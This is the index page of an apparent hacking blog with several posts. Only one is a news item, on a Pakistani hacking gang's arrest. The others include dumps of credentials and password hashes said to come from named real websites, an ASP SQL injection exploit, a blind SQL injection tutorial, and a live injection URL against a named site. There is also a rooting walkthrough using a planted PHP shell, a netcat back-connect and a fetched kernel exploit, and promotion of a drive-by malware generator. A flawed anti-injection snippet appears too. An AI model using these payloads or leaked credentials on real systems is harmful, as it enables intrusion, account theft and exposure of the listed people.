Ksecurity-team

Subscribe & Don,t Miss A Free Hacking Course| Receive Daily Updates

Enter your email address:

Delivered by FeedBurner

Home » All posts

Pakistan busts gang of website hackers: official

2:47 PM Posted by CardingPower

ISLAMABAD, Pakistan (AFP) – Pakistani authorities said Thursday they had traced a gang of hackers and arrested five suspects involved in defacing thousands of domestic and international websites and online fraud.
The "internationally-known hackers" have been picked up in an operation spanning the country over the past few weeks, Federal Investigation Agency (FIA) senior officer Mian Idrees told AFP.
"We have unearthed notorious hackers? group 'Pakbugs' and arrested five members of this group," he said.
Authorities seized computers and other equipment involved in various cyber crimes, he said.
The FIA said in a statement the group was involved in hacking or defacing thousands of websites belonging to government, non-government and international organisations.
"They were also involved in credit card jacking and usage of stolen credit cards," it said.
"Pakbugs" founder Jawad Ehsan, alias Humza, remains at large and is believed to be based in Saudi Arabia, the statement said.
But it said co-founder Hassan Khan has been detained in the northwest Pakistani city of Peshawar, along with other members in Lahore, Bannu and Rawalpindi.
Idrees ruled out the hackers' involvement in terrorism and said the men had been charged only with electronic crimes.
Pakistan, fighting terrorism and high-tech offences, in 2008 declared cyber-terrorism a capital crime, while electronic fraud is punishable by a prison term of seven to ten years.


Read More Add your Comment 2 comments


Radio hacked......!

4:07 AM Posted by r0cKe6sHaCk6r

Radio City 91.1 Fm

Link:- http://www.planetradiocity.com/radiocity/rjprofile.php?rid=49&id=19

admin login=admin
admin password=rcbroad789op
admin email=contact@planetradiocity.com
admin login=admin
admin password=admin
admin email=contact123@planetradiocity.com


Radio-Reloaded

Link:- http://www.radioreloaded.com/artists/?id=49

Email:- rr@gmail.com
Password:- Testland12345


Email:-sk@thepremieremedia.com
Password:-test


Email:-faisal_mumtaz_fm@yahoo.com
Password:-meraradio


Email:-ranjnatoor@hotmail.com
Password:-1E7793EA


Email:-anumrana@gmail.com
Password:-test


Email:-rao_30_06_88@yahoo.com
Password:-B7B938CB


Email:-musaratali2002@hotmail.com
Password:- 77F61F74


Now From 2morow onwards we gonna learn some basic attacks...........!


Read More Add your Comment 1 comments


SQL-Injection Websites Hacked...!

3:06 AM Posted by r0cKe6sHaCk6r

www.mp3hungama.com
Link:- http://mp3hungama.com/music/genre_albums.php?id=8

Database Name:- hungama_music

username=000
password=a6090798f53471be555efc5ff1e85142

username=0000
password=29b90c2bf8e8a35baa5db8aae9e1647e

username=00000
password=2cbb8de1484e29bb4ad9865412c36f26

username=000007
password=a7899c013b27bd38e1e3a1905dfc1a65

username=00001589
password=7eb865ffc81fb5eb3638ddbcfcb6a68c

username=0003
password=f5a4324a48f0f18095e7de550b2407bb

username=0005janu
password=5d5703ee129d30abb8b98eda6e8b1ff8

username=00071987
password=8f976747ca83c91ee8fc282007f834b8

username=000nitin000
password=0de959beaa82daa7df6ef2286d071a6d

username=000o0o0
password=124bd1296bec0d9d93c7b52a71ad8d5b

username=000zakir000
password=e6f564880ad187e377d8616d47bb208e

username=001
password=cccc6e08862742cfe6e384ac9361d55e

username=00143
password=c91fbf2ce50a58765123973ebe4b14c7

username=001aka
password=4417795454cbad4045c2667e66caa3a0

username=001ritu
password=74586eb38c303b2fdea57a90766dbce1

username=001sunny
password=1781a3046c6ac6eb1caecbae4a1871d0

username=002
password=0f96324ce5e6f6031e05a94b05f937a8

username=007006
password=e55f11284e3a99082a1f7f0b6c8b288a

username=02roget09
password=66b58e9fbc6da93170b5a5125688ea0

username=02mca31
password=216facb433ca84df4bf091c01d20eb62

username=02arvind09
password=d82c4340837560fb65a3c3b7dec8f97b

username=02ahma
password=086064e26f28fedf2bd62019c5395eeb

username=0293shah
password=8e38b453320a4d7423588b523943082b

username=020zoya
password=563738ac6bd75e28d270bf1afcca5735

====================================================================

www.tolani.edu

link:- http://www.tolani.edu/tmi/index.php?id=107

Database Name:- tolanie_tmiphp

Admin

adminuser=swatitmi
adminpwd=swatcats123

adminuser=shabanatmi
adminpwd=salman123

adminuser=sheetal
adminpwd=fantastic

adminuser=pramila
adminpwd=warrior

====================================================================

www.c2clive.com

link:- http://c2clive.com/latestnewsdetail.php?id=382

Current DB: c2clive

Data Found: password=suResh@ab#123
Data Found: username=admin

====================================================================


Read More Add your Comment 1 comments


STOP SQL INJECTION!

2:35 PM Posted by CardingPower

  1. //This stops SQL Injection in POST vars
  2. foreach ($_POST as $key => $value)
  3.         if(isset($_POST['{$key}']))
  4.                 $_POST[$key] = mysql_real_escape_string($value);
  5.  
  6. //This stops SQL Injection in GET vars
  7. foreach ($_GET as $key => $value)
  8.         if(isset($_GET['{$key}']))
  9.          $_GET[$key] = mysql_real_escape_string($value);


=====================================================
//This stops SQL Injection in POST vars
foreach ($_POST as $key => $value)
    if(isset($_POST['{$key}']))
        $_POST[$key] = mysql_real_escape_string($value);
 
//This stops SQL Injection in GET vars
foreach ($_GET as $key => $value)
    if(isset($_GET['{$key}']))
        $_GET[$key] = mysql_real_escape_string($value);


Read More Add your Comment 0 comments


ASP Exploitation SQL Injection Vulnerability

2:33 PM Posted by CardingPower

  1. =============================================
  2. ASP Exploitation SQL Injection Vulnerability
  3. =============================================
  4. 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0                          
  5. 0     _                   __           __       __                     1
  6. 1   /' \           __  /'__`\       /\ \__  /'__`\                   0
  7. 0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
  8. 1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\         0
  9. 0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
  10. 1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\          0
  11. 0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
  12. 1                  \ \____/ >> Exploit database separated by exploit   0
  13. 0                   \/___/          type (local, remote, DoS, etc.)    1
  14. 1                                                                      0
  15. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-1
  16.  
  17. #######################################################################
  18. #
  19. # Exploit Title: [ ASP Exploitation SQL Injection Vulnerability ] ..
  20. #
  21. # Date: [ 2010-06-17 ] ..
  22. #
  23. # Author: [ SA H4x0r ] ..
  24. #
  25. # Version: [ Scripts((asp)) ] ..
  26. #
  27. # Google dork: [ show_file.asp?num= ] ..  
  28. #
  29. # Email: [ ww0@hotmail.com ] ..
  30. #
  31. # From: Saudi Arabia ..
  32. #
  33. # Gr33t's: The Master|Al-Kaser20|v4-team|Mn7os|inj3ct0r|exploit-db ..
  34. #
  35. #category: [SQL Injecti0n] ..
  36. #
  37. #######################################################################
  38.  
  39. # Exploit :  
  40.  
  41. http://[site]/path/show_file.asp?num={SQL}  
  42.  
  43. # Analysis:
  44.  
  45. http://[site]/path/show_file.asp?num=Number  
  46.  
  47. union select ((Number)) login, ((Number)) from logins  
  48.  
  49. ========================================================================
  50.  
  51. # Like:
  52.  
  53. http://[site]/path/show_file.asp?num=50
  54.  
  55. http://[site]/path/show_file.asp?num=50'
  56.  
  57. http://[site]/path/show_file.asp?num=50 having 1=1
  58.  
  59. ((')) <<<<< Keep the label to show a query site involved ..
  60.  
  61. (( having 1=1 )) << Yes, this revealed the site involved ..
  62.  
  63. ========================================================================  
  64.  
  65. # Like:1
  66.  
  67. http://[site]/path/show_file.asp?num=50 order by 20
  68.  
  69. union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from logins  
  70.  
  71. union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,name,19,20 from logins
  72.  
  73. union select 1,2,3,4,5,6,7,8,9,10,11,12,password,14,15,16,17,18,19,20 from logins
  74.  
  75. ========================================================================
  76.  
  77. # Final:
  78.  
  79. http://[site]/path/show_file.asp?num=-50 union select 1,2,3,4,5,6,7,8,9,10,11,12,password,14,15,16,17,name,19,20 from logins
  80.  
  81. The source of plaque control:-
  82.  
  83. http://[site]/path/admin "OR" http://[site]/path/login
  84.  
  85. cpanel: http://[site]/admin "OR" http://[site]/login
  86.  
  87. ========================================================================
  88.  
  89. ./done ..


Read More Add your Comment 0 comments


[TUT]GunZ Injection Tool [not mine]

2:32 PM Posted by CardingPower

i just want to advertise Mirageofpenguins.com tools
as the site has been down for over 4 months and has just come back recently

The file is a .rar archive it includes a ReadMe file aswell as 2 .DLL files
copy the 2 .DLL Files to your gunz Directory
then in game

End Key = Activates
Press this key ingame to have the hack start scanning for key-presses and chat commands. Your mobo will beep to confirm the activation.

Hotkeys
ALT+W,A,S,D
Teleport around.
It's based on your direction, so W is forward, A is left, etc.
ALT+R
Respawn.
Resurrect yourself on command, punch god in the dick.
ALT+F
Follower.
Follows your attacker with a conviction you could only call religious.
ALT+G
Godmode.
If you could die before, you can't now.
ALT+T
Ninjaflip.
Show them your moves.

Chat Commands
/wrist
Kills you instantly.
@charmale
Creates a male character with the name you designate.
@charfem
Creates a female character with the name you designate.

Download
before you download read the ToS
all Credits go to MirageofPenguins.com and their coders
the share was only to inform you of the best gunz hacks anywhere
go to the site to find a payed version which has almost all the comands possible
2010-07-05 22:10:19 (GMT 1)
File name: Loltastic_.rar
File size: 62490 bytes
MD5 hash: f7744e5542dddc9a5e59ff227bd95a3e
SHA1 hash: 016a241fb846d2dde8d6577e759327e0c81aa676
Detection rate: 0 on 16 (0%)
Status: CLEAN

Antivirus Database Engine Result
a-squared 05/07/2010 5.0.0.7
Avast 100705-1 5.0
AVG 271.1.1/2983 9.0.0.725
Avira AntiVir 7.10.9.11 7.6.0.59
BitDefender 05/07/2010 7.0.0.2555
ClamAV 05/07/2010 0.96.1
Comodo 4.1.920
Dr.Web 05/07/2010 5.0
F-PROT6 20100705 4.5.1.85
G-Data 21.467 2.0.7309.847
Ikarus T3 05/07/2010 1.1.84.0
Kaspersky 05/07/2010 9.0.0.736
NOD32 5253 4.0.474
Panda 05/07/2010 10.0.3.0
TrendMicro 285 9.120-1004
VBA32 05/07/2010 3.12.12.2

Extra information
File type: Unknown file
Packer: Nothing found
Binder detector: Nothing found
PDF analyzer: Nothing found


Read More Add your Comment 1 comments


Alex_androunet's Java Drive-By Generator

1:50 PM Posted by CardingPower

~Lite

  • Auto Generate Working Java Drive-By Website ( 1 pre-maked skin )
  • Just enter your virus URL

    Download link : http://adf.ly/3mlH



    Virus scan info:
    Spoiler (Click to Hide)
    Lite Version

    File Info

    Report date: 2010-07-05 20:59:02 (GMT 1)
    File name: Java_Drive-By_Generator_Lit
    File size: 1678848 bytes
    MD5 Hash: d257ac9a09edf3dfb175440750bb9c61
    SHA1 Hash: 88925d2710d730650be2fa3d3d2d22d00907c731
    Detection rate: 0 on 16 (0%)
    Status: CLEAN

    Detections

    a-squared -
    Avast -
    AVG -
    Avira AntiVir -
    BitDefender -
    ClamAV -
    Comodo -
    Dr.Web -
    F-PROT6 -
    G-Data -
    Ikarus T3 -
    Kaspersky -
    NOD32 -
    Panda -
    TrendMicro -
    VBA32 -

    Scan report generated by
    NoVirusThanks.org


Read More Add your Comment 1 comments


blind sql injection "detailed tutorial"

1:41 PM Posted by CardingPower

you dont know about mysql injection turn around and learn it b4 u even consider learning this
because this is a whole different story.

1. test for vulnerability
so you have a site lets say :

Code:
www.cia.gov/news.php?id=1
just like normal mysql injection

but for blind you put
Code:
www.cia.gov/news.php?id=1 and 1=2
if you see any text from the page missing
or an error message like invalid id or db_error select * from xxxx@localhost call line "/" or anything like that
then its vuln

this works
because 1=2 is always false
you see if it was
Code:
www.cia.gov/index.php?id=1 and 1=1
then you would get the normal page
because 1=1 is always true

2. mysql version
to find mysql version you need to do this query
Code:
www.cia.gov/index.php?id=1 and substring(@@version,1,1)=4
if the pages comes back true then the version is 4
if not then try
Code:
www.cia.gov/index.php?id=1 and substring(@@version,1,1)=5
if it comes back true then its a version 5

3. fuzzing tables and columns
to find the table name you need to guess it
so...
here is the query
Code:
www.cia.gov/news.php?id=1 and (SELECT 1 from admin limit 0,1)=1
i have guessed the table admin if the page loads true then the table exists
eg. the table name is administrator
and we try
Code:
(SELECT 1 from users limit 0,1)=1
then it will return with an error a.k.a. false
but if we did
Code:
(SELECT 1 from administrator limit 0,1)=1
then it would not error a.k.a. true

now for the column
so the table is administrator
and we found that by fuzzing
now we need the column name
we fuzz it by
Code:
www.cia.gov/news.php?id=1 and (SELECT substring(concat(1,password),1,1) from administrator limit 0,1)=1
if the column password exists then it wont error
you get my drift...

4. extracting password with ascii
so now we have the table/column we need to extract
well as you know it wont just pop up on the screen
we will need to use the ancii char
Code:
www.cia.gov/news.php?id=1 and ascii(substring((SELECT concat(username,0x3a,password) from administrator where userid=2),1,1))>99
if this returns true then you need to go higher
Code:
news.php?id=1 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),1,1))>103
if this errors then its not greater than 103 and greater than/or 99
now try
Code:
news.php?id=1 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),1,1))>100
no error then its greater than 99 and not greater than 103
higher
Code:
news.php?id=1 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),1,1))>101
error
so its greater than 99 but not greater than 101
higher
Code:
news.php?id=1 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),1,1))>100
error
so its greater than 99 but not greater than 100 making it 100
the first character of the password is 100 which if u put into an ascii converter you will see
that it is the letter d
now you need to find the next character
Code:
news.php?id=1 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),2,1))>60
notice how i did where userid=1),2,1))>60 instead of 1,1
so this will be doing the second character
so keep extracting characters untill u get an error
then u will have the hash / password


Read More Add your Comment 0 comments


SQLI: http://www.zbrane.cz

12:54 PM Posted by KBC OFFICIAL

http://www.zbrane.cz/detail.php?id=-163%20UNION%20SELECT%201,2,3,group_concat(login,0x3a,passwd),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+setup_users


Read More Add your Comment 0 comments


Rooting Tutorial

12:37 PM Posted by KBC OFFICIAL

Tutorial made by Darlixus.

Dedicated to Zero Burn & Team-1nj3ct.

What we need?
-RFI Vulnerable Script
-PHP Shell
-Netcat
-Brains

First of all, we need to get a shell on a site.Maybe i'll write a RFI Tutorial latter, for now just look it up on google.

For this tutorial i will be using MulCi Shell.

So, once you have it on a site, go to the 'Backdoor Host' tab and forward a port.

Now, go to the 'Back Connect' tab and insert the following settings:

[Image: 24l1xeb.png]

1- Your IP Address.
2-The port you forwarded.

Now, go on CMD and type in:cd 'Path To Your Netcat.exe' and then you need to make netcat listen to the port you forwarded.To do this, type:nc -l -n -v -p port

It looked like this for me:

Microsoft Windows XP [Version 5.1.2600]
© Copyright 1985-2001 Microsoft Corp.

C:\FeAR>cd C:\

C:\>cd WINDOWS

C:\WINDOWS>nc -l -n -v -p 4444
listening on [any] 4444 ...

Now, when you have netcat listening to the port you forwarded, click 'Connect'.

When your connected, type 'whoami'.You shouldnt have root.

Now, to find an exploit to root the box, you need to know whats the kernel version.To do this, just type 'uname -a'.

It should look something like this:

Code:
Linux linux1.dmehosting.com 2.6.17-92.1.10.el5PAE #1 SMP Tue Aug 5 08:14:05 EDT 2008 i686

Now, we go on exploit-db.com and we will look for '2.6.17'.

Code:
hhttp://www.exploit-db.com/exploits/5092/

Now, we type 'wget http://www.exploit-db.com/exploits/5092/ on the netcat window.

Code:
wget http://xpl_url.com

So the exploit works, you must compile it in the server(gcc) and execute it via exploit(-o).

To do this we type 'gcc 5092 -o exploit'.

Code:
gcc 5092 -o exploit

5092- After the url path.http://www.site.com/5092.
exploit- Output name.


Now you can execute your exploit by typing './exploit'

Wait for the exploit to finish running and type root again.

It should output in something like this:

Code:
uid=0(root) gid=0(root) groups=500(apache)

This means you have successfully rooted the box :).

There are more ways to do this, this is the way I usually do it.

I took like, 1h 30m to write this so please, if you are going to leech this atleast give credit.

Tutorial made by Darlixus.Gree7z to:Team-1nj3ct.


Read More Add your Comment 5 comments


 

Members

Join Us At Facebook

Enter your email address:

Delivered by FeedBurner

© 2011 Ksecurity-team All Rights Reserved Hackguide4u Theme by Adnan Anjum Learn Hacking Online hackguide4u.blogspot.com